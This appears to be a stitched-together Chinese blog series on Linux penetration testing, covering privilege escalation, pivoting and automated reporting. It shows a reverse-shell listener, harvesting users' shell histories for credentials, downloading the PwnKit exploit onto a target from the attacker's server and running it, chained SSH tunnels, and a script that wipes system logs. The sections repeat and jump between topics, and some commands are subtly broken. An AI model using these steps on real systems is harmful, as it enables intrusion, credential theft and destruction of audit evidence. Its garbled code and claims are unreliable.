身為一個資深滲透測試者,我經常需要在 Linux 系統上進行許可權提升。這篇文章將分享我在實戰中積累的經驗和技巧,帶你深入瞭解如何在 Linux 環境下進行有效的許可權提升。
Greenbone 自動化漏洞掃描
在開始提權之前,進行全面的漏洞掃描至關重要。我個人偏好使用 Greenbone Community Edition (OpenVAS),並透過 Bash shell 自動化掃描流程,以節省時間並提高效率。
以下指令碼示範如何使用 Greenbone 建立掃描目標:
sudo -u _gvm gvm-cli --gmp-username admin --gmp-password '[password]' socket --xml "<create_target><name>My Target</name><hosts>10.2.10.0/24</hosts><port_range>1-65535</port_range></create_target>"
這段程式碼以 _gvm
使用者的身份執行 gvm-cli
,設定 Greenbone 管理員帳號和密碼,並透過 XML 格式的指令建立一個名為 “My Target” 的掃描目標。目標主機設定為 10.2.10.0/24 網段,埠範圍涵蓋 1 到 65535。
漏洞利用與反向 Shell 建立
發現漏洞後,建立反向 Shell 是下一步的關鍵。我通常使用 nc
監聽連線,並利用 Reverse Shell Cheat Sheet 找到合適的 Python 反向 Shell 程式碼。
在 Kali 終端機輸入:
nc -nlvp 4444
這個指令啟動 nc
監聽 4444 埠,-n
表示不進行 DNS 解析,-l
表示監聽模式,-v
表示顯示詳細資訊,-p
指定埠號。
接著,將修改後的 Python 反向 Shell 程式碼透過存在漏洞的網頁執行,即可在 Kali 終端機上獲得反向 Shell。
系統資訊收集
取得 Shell 後,我會立即展開資訊收集,以找出提權的突破口。
sudo -l
ls -al /var/www/html
cat /home/user6/.bash_history
find /home -name .bash_history 2>/dev/null -exec cat {} +
sudo -l
檢查當前使用者可否使用 sudo
執行指令。 ls -al /var/www/html
列出網頁目錄下的所有檔案和目錄,尋找敏感資訊。cat /home/user6/.bash_history
和 find /home -name .bash_history 2>/dev/null -exec cat {} +
則用於檢查使用者歷史指令記錄,希望能找到有用的資訊,例如密碼或其他憑證。
graph LR D[D] A[漏洞掃描] --> B(漏洞利用); B --> C[反向 Shell]; C --> D{資訊收集};
系統架構與核心漏洞探測
瞭解目標系統的架構和核心版本對於尋找可利用的漏洞至關重要。
uname -a
uname -a
顯示系統核心版本、名稱、機器硬體名稱、處理器型別、硬體平台等級等資訊。這些資訊有助於判斷系統是否存在已知的漏洞。
我會利用這些資訊搜尋已知的核心漏洞,並嘗試利用這些漏洞進行提權。 我的經驗告訴我,保持最新的漏洞資訊函式庫非常重要。
持續更新與學習
在瞬息萬變的網路安全領域,持續學習和更新知識函式庫是保持競爭力的關鍵。我經常參與安全社群的討論,閲讀最新的安全文章,並不斷練習新的技術,以提升自己的技能。
這個領域充滿挑戰,但也充滿了樂趣。我希望這篇文章能幫助你更好地理解 Linux 滲透測試中的許可權提升技巧,並在你的實踐中取得成功。
graph LR A[核心漏洞探測] --> B{漏洞利用}; B -- 成功 --> C[許可權提升]; B -- 失敗 --> D[重新探測];
身為一位資深技術工作者,我經常需要深入研究系統安全,而提權技術更是其中的關鍵環節。今天,我想分享一些在 Linux 系統中常用的提權技巧,從核心漏洞利用到 SUID/SGID 檔案的運用,希望能幫助大家更好地理解並防範這類別安全風險。
## 核心漏洞利用:精準打擊系統核心
利用核心漏洞提權需要對目標系統的核心版本有清晰的掌握。我通常會使用 `uname -a` 指令快速取得核心版本資訊。
```bash
uname -a
這個指令會顯示系統核心名稱、版本、硬體架構等資訊,如同系統的身分證,讓我們快速瞭解目標。
更進一步,我會使用以下指令取得更詳細的作業系統資訊:
cat /etc/lsb-release
cat /etc/os-release
這些指令能揭示作業系統的發行版資訊,例如 Ubuntu 的版本號,這對於選擇合適的漏洞利用程式碼至關重要。
接著,我會使用 searchsploit
工具搜尋針對特定核心版本的漏洞利用程式碼,如同搜尋武功秘笈般,找到針對目標弱點的攻擊方法。
searchsploit -s "4.15" --id
searchsploit
是一款搜尋 Exploit-DB 的利器。-s
選項代表精確搜尋,如同鎖定目標;--id
選項則顯示 EDB-ID,方便快速查詢對應的漏洞利用程式碼。
Polkit/Pwnkit 漏洞利用:深入剖析 CVE-2021-4034
以 Ubuntu 18.04 系統為例,Polkit/Pwnkit 漏洞 (CVE-2021-4034) 是一個常見的提權目標。我會使用 pkexec --version
指令檢查 polkit 版本,確認目標系統是否受此漏洞影響。
pkexec --version
這個指令如同偵察兵,用於顯示 polkit 的版本資訊。若版本低於 0.120,則可能存在漏洞,如同找到敵人的破綻。
確認漏洞存在後,我會使用 searchsploit -m 50689
下載漏洞利用程式碼,如同準備武器,為下一步攻擊做好準備。
graph LR C[C] A[我的電腦] --> B(下載 exploit) B --> C{檢查程式碼} C -- 安全 --> D[編譯 exploit] C -- 不安全 --> E[停止]
圖表説明:這個流程圖展示了下載和檢查漏洞利用程式碼的步驟,確保安全無虞。
將漏洞利用程式碼傳輸到目標系統的 /tmp
目錄,並使用 GCC 編譯,如同將武器佈署到戰場。
# 在我的電腦上
python3 -m http.server
# 在目標系統上
cd /tmp
wget http://<我的電腦 IP>:8000/<exploit filename>
gcc <exploit filename>.c -o exploit
在個人電腦上啟動 HTTP 伺服器,如同建立補給線;然後在目標系統上使用 wget
下載 exploit 檔案,如同接收武器;最後使用 gcc
編譯 exploit 程式碼,如同組裝武器,準備發動攻擊。
執行編譯後的 exploit 程式碼,即可嘗試提升許可權,如同發起進攻,爭取最高控制權。
gcc -Wall -fPIC -shared -o exploit.so exploit.c -ldl
chmod +x exploit.so
./exploit.so
使用 GCC 編譯程式碼,並加上 -Wall
引數顯示所有警告訊息,確保程式碼的完整性;-fPIC
引數則產生位置獨立的程式碼,提高程式碼的相容性;-shared
引數則建立分享函式庫,方便程式碼的重複使用;-ldl
引數則連結動態連結函式庫,提供程式碼所需的函式。最後使用 chmod +x
賦予執行許可權,並執行 exploit。
SUID/SGID 檔案利用:巧妙運用特殊許可權
SUID/SGID 檔案如同藏寶圖,可能隱藏著提權的捷徑。
# 查詢 SUID 二進位制檔案
find / -perm -u=s -type f 2>/dev/null
# 查詢 SGID 二進位制檔案
find / -perm -g=s -type f 2>/dev/null
這些命令如同尋寶工具,能幫助我們快速找到設定了 SUID 或 SGID 許可權的檔案。2>/dev/null
的作用是將錯誤訊息導向虛空,避免螢幕被無用的資訊淹沒。
graph LR A[查詢 SUID 二進位制檔案] --> B(find / -perm -u=s -type f 2>/dev/null) C[查詢 SGID 二進位制檔案] --> D(find / -perm -g=s -type f 2>/dev/null)
圖表説明: 此流程圖展示了查詢 SUID 和 SGID 二進位制檔案的命令,清晰明瞭。
graph LR A[SUID] --> B(以檔案擁有者許可權執行) C[SGID] --> D(以檔案群組許可權執行)
圖表説明: 此流程圖簡述了 SUID 和 SGID 的作用,一目瞭然。
透過以上技術,我們可以逐步探尋系統中的提權路徑,如同一位經驗豐富的獵人,在叢林中追蹤獵物。在後續的文章中,我將繼續分享更多關於提權的技巧和心得,敬請期待。
curl --socks5 localhost:9050 http://internal_server
這將透過 pivot_host
的 SSH 隧道連線到 internal_server
。SOCKS 代理的優勢在於其通用性,它可以代理任何 TCP 連線,而不僅僅是 HTTP 流量。在我進行滲透測試時,我經常使用 SOCKS 代理來探索內網,因為它允許我使用各種工具,而無需為每個服務設定單獨的埠轉發。
使用 ProxyChains
ProxyChains 是一個工具,可以強制任何應用程式透過代理伺服器(例如 SOCKS 代理)路由其網路流量。這對於不支援代理設定的應用程式特別有用。
首先,安裝 ProxyChains:
sudo apt install proxychains
然後,編輯 /etc/proxychains.conf
檔案,將 socks4 127.0.0.1 9050
更改為 socks5 127.0.0.1 9050
,以使用 SSH 建立的 SOCKS5 代理。
現在,您可以使用 proxychains
命令在代理連線中執行任何應用程式:
proxychains nmap internal_server
這將透過 SSH 隧道使用 nmap 掃描 internal_server
。ProxyChains 對於使用不支援代理設定的工具進行內網探索非常有用。在我的經驗中,ProxyChains 對於在受限環境中進行資訊收集非常寶貴。
Metasploit 的跳板功能
Metasploit Framework 提供了內建的跳板功能,可以簡化透過多個受損系統的網路跳板。
graph LR A[Attacker Machine] --> B(Compromised Host 1) B --> C(Compromised Host 2) C --> D[Target Network]
圖表説明: 此圖表説明瞭 Metasploit 如何透過多個受損主機建立跳板,最終到達目標網路。
Metasploit 的跳板功能可以自動處理路由和代理設定,從而簡化了複雜的跳板場景。我個人在進行紅隊演練時經常使用 Metasploit 的跳板功能,因為它可以有效地管理多個跳板主機。
清理痕跡
在完成滲透測試後,清除所有痕跡至關重要。這包括刪除建立的使用者、cron 作業、SSH 金鑰和任何其他修改。仔細清理可以最大限度地減少滲透測試活動的可檢測性,並維護目標系統的完整性。
Bash 環境提供了多種網路跳板技術,從簡單的 SSH 埠轉發到更通用的 SOCKS 代理和 ProxyChains。選擇哪種技術取決於具體的場景和需求。熟練掌握這些技術,並結合 Metasploit 等工具,可以有效地突破內網限制,進行更深入的滲透測試。同時,務必記住,在測試完成後徹底清理痕跡,以維護目標系統的安全性。
在滲透測試的過程中,掌握跳板技術至關重要,它如同搭建橋樑,讓測試人員得以跨越重重防禦,深入目標內網進行更全面的安全評估。我將從自身經驗出發,分享一些常用的跳板技術,並提供實用的 Bash 指令碼,希望能助你提升滲透測試的效率與隱蔽性。
基礎跳板技術:SSH 隧道與 SOCKS 代理
SSH 隧道和 SOCKS 代理是兩種基礎的跳板技術,它們為進入受限網路提供了便捷的通道。利用 SSH 隧道,我們可以建立加密的通道,將流量轉發到目標網路;而 SOCKS 代理則允許我們透過代理伺服器存取目標網路的資源。
例如,使用 ssh -D
命令可以在本地建立一個 SOCKS 代理:
ssh -D 9050 user@跳板主機IP
這段程式碼在本地機器上建立一個 SOCKS 代理,監聽 9050 埠。所有透過此代理的流量都會經由跳板主機轉發。
設定好 SOCKS 代理後,便可在瀏覽器或其他應用程式中設定代理,透過跳板主機存取內網資源。
進階跳板技術:動態鏈式跳板與工具運用
面對更複雜的網路環境,例如分段網路或多層安全防護,單一跳板可能力有不逮。此時,動態鏈式跳板便能派上用場。它如同搭建多段橋樑,逐層深入目標網路。
以下 Bash 指令碼示範如何自動化建立動態跳板鏈:
#!/usr/bin/env bash
pivot_hosts=("user1@jumphost1" "user2@jumphost2" "user3@jumphost3")
target="user4@targethost"
local_port=9090
for ((i=0; i<${#pivot_hosts[@]}; i++)); do
next_port=$((local_port + i + 1))
if [ $i -eq 0 ]; then
ssh -f -N -L ${local_port}:localhost:${next_port} ${pivot_hosts[$i]}
elif [ $i -eq $((${#pivot_hosts[@]} - 1)) ]; then
ssh -f -N -L ${next_port}:${target%@*}:22 ${pivot_hosts[$i]}
else
ssh -f -N -L ${next_port}:localhost:$((next_port + 1)) ${pivot_hosts[$i]}
fi
done
echo "[+] 跳板鏈已建立!透過以下方式連線到 ${target}:ssh -p ${local_port} ${target#*@}"
此指令碼透過迴圈依序建立 SSH 隧道,將本地埠轉發到下一個跳板主機,最終連線到目標主機。
graph LR A[本地主機] --> B(跳板主機 1) B --> C(跳板主機 2) C --> D(跳板主機 3) D --> E[目標主機]
此圖表展示了動態鏈式跳板的結構,流量依次經過多個跳板主機,最終到達目標主機。
除了 SSH 隧道,Chisel 和 Ligolo-ng 等工具也能實作動態跳板。Chisel 允許建立反向 SOCKS 代理,而 Ligolo-ng 則能建立類別似 VPN 的連線。
sequenceDiagram participant 本地主機 participant Chisel Server (本地) participant Chisel Client (跳板) participant 目標主機 本地主機->>Chisel Server: 啟動 Server 跳板->>Chisel Server: Client 連線 本地主機->>Chisel Client: 透過 SOCKS 代理連線 Chisel Client->>目標主機: 存取目標資源
此序列圖展示了使用 Chisel 建立反向 SOCKS 代理的流程。
DNS 隧道:隱蔽的跳板通道
當防火牆限制了 SSH 或 VPN 連線時,DNS 隧道便成為一種極具價值的跳板技術。它利用 DNS 協定的特性,將資料隱藏在 DNS 查詢和回覆中,建立隱蔽的通道。
我曾利用 DNS 隧道繞過嚴格的網路限制,成功將 Raspberry Pi 等微型電腦連入內網,建立通往往外部的通道。
DNS 隧道的運作原理是將資料編碼成 DNS 查詢的子網域名稱,傳送到攻擊者控制的 DNS 伺服器。伺服器解碼資料並將回覆編碼成 DNS 回覆,傳回使用者端。
後滲透清理:消弭入侵痕跡
完成滲透測試後,清除所有活動痕跡至關重要。以下 Bash 指令碼示範如何清除命令歷史記錄和系統日誌:
#!/usr/bin/env bash
# 清除命令歷史記錄
history -cw
# 清除系統日誌
log_files=("/var/log/auth.log" "/var/log/syslog" "/var/log/messages" "/var/log/secure")
for file in "${log_files[@]}"; do
if [ -f "$file" ]; then
> "$file" # 清空檔案內容
fi
done
此指令碼首先使用 history -cw
清除命令歷史記錄,然後清空指定的系統日誌檔案。
掌握這些跳板技術和清理技巧,將使你在滲透測試中更加得心應手,如同一位身經百戰的將軍,運籌帷幄,決勝千里。
持續學習和實踐,不斷精進你的技術,才能在網路安全的戰場上立於不敗之地。我是玄貓(BlackCat),一位來自台灣的資深技術工作者,期待與你共同探索網路安全的奧秘。
在滲透測試的領域中,報告撰寫是不可或缺的一環,它記錄了測試過程、發現的漏洞以及相關的修復建議。然而,手動編寫報告不僅耗時費力,還容易出現人為錯誤。本文將引領讀者探索如何運用 Bash shell script 的威力,開發自動化的滲透測試報告生成流程,從資料收集到報告產出,全面提升效率和準確性。
我將分享多年來的實戰經驗,展示如何使用 Bash script 自動從各種工具的輸出中提取關鍵資料、生成初步報告,並且其他專業的報告工具無縫整合。讀者將學習如何編寫指令碼,解析原始資料,並將其填入預先設計的報告範本中,最終掌握使用 Bash 建立高效、準確與專業的滲透測試報告的技巧。
Bash 自動化資料收集
滲透測試通常會使用多種工具,例如 Nmap、Nessus 和 Metasploit。利用 Bash script,我們可以自動化收集這些工具的輸出結果,並將其轉換為結構化的資料。
#!/bin/bash
# 使用 Nmap 掃描目標主機
nmap -oX nmap_output.xml 192.168.1.1
# 使用 xsltproc 將 XML 輸出轉換為 HTML
xsltproc nmap_output.xml -o nmap_report.html
# 這段程式碼首先使用 Nmap 掃描目標主機,並將輸出儲存為 XML 格式。
# 接著,它使用 xsltproc 工具將 XML 檔案轉換為更易讀的 HTML 報告。
# 這個流程可以自動化 Nmap 掃描和報告生成,減少手動操作。
SQLite 儲存和管理資料
SQLite 是一個輕量級的嵌入式資料函式庫,非常適合用於儲存和管理滲透測試資料。我們可以使用 Bash script 將收集到的資料插入到 SQLite 資料函式庫中,方便後續的查詢和分析。
#!/bin/bash
# 建立 SQLite 資料函式庫和表格
sqlite3 pentest.db "CREATE TABLE IF NOT EXISTS vulnerabilities (id INTEGER PRIMARY KEY, tool TEXT, vulnerability TEXT, severity TEXT);"
# 將 Nmap 掃描結果插入到資料函式庫
sqlite3 pentest.db "INSERT INTO vulnerabilities (tool, vulnerability, severity) VALUES ('Nmap', 'Open SSH Port 22', 'Low');"
# 這段程式碼首先建立一個名為 pentest.db 的 SQLite 資料函式庫和一個名為 vulnerabilities 的表格。
# 接著,它將 Nmap 掃描到的漏洞資訊插入到資料函式庫中。
# 使用 SQLite 可以更有效地組織和管理滲透測試資料,方便後續的報告生成。
Bash 與報告工具整合
Bash script 可以與其他報告工具(例如 ReportLab、Pandoc)整合,生成更專業的報告。
#!/bin/bash
# 從 SQLite 資料函式庫中提取資料
vulnerabilities=$(sqlite3 pentest.db "SELECT * FROM vulnerabilities;")
# 使用 Pandoc 將資料轉換為 Markdown 格式
echo "$vulnerabilities" | pandoc -f sqlite -t markdown -o vulnerabilities.md
# 這段程式碼從 SQLite 資料函式庫中提取漏洞資訊,並使用 Pandoc 將其轉換為 Markdown 格式。
# Pandoc 是一款功能強大的檔案轉換工具,支援多種格式,可以根據需要生成不同格式的報告。
圖表應用
Mermaid 是一個可以用程式碼繪製圖表的工具,可以整合到報告中,使報告更具視覺化效果。以下是一個使用 Mermaid 繪製流程圖的範例:
graph LR B[B] C[C] A[開始] --> B{漏洞掃描} B --> C{漏洞分析} C --> D[報告生成]
圖表説明: 此流程圖展示了滲透測試報告生成的簡化流程,從開始到漏洞掃描、分析,最終生成報告。
透過 Bash shell script,我們可以自動化滲透測試報告的生成過程,從資料收集、整理到報告產出,大幅提升效率和準確性。結合 SQLite 和其他報告工具,更能開發專業與易於理解的報告,有效地傳達滲透測試的結果。
流程圖範例
以下是一個使用 Mermaid 繪製的更詳細的流程圖,展示了 Bash script 如何與其他工具整合,自動化生成報告的過程:
graph LR B[B] C[C] D[D] E[E] F[F] A[開始] --> B{執行 Nmap 掃描} B --> C{將 Nmap 輸出轉換為 XML} C --> D{將 XML 資料匯入 SQLite 資料函式庫} D --> E{使用 SQL 查詢整理資料} E --> F{使用 Pandoc 生成 Markdown 報告} F --> G[結束]
圖表説明: 此流程圖詳細地展示了使用 Bash script 自動化生成滲透測試報告的完整流程,包含 Nmap 掃描、資料轉換、資料函式庫匯入、資料整理以及最終的報告生成。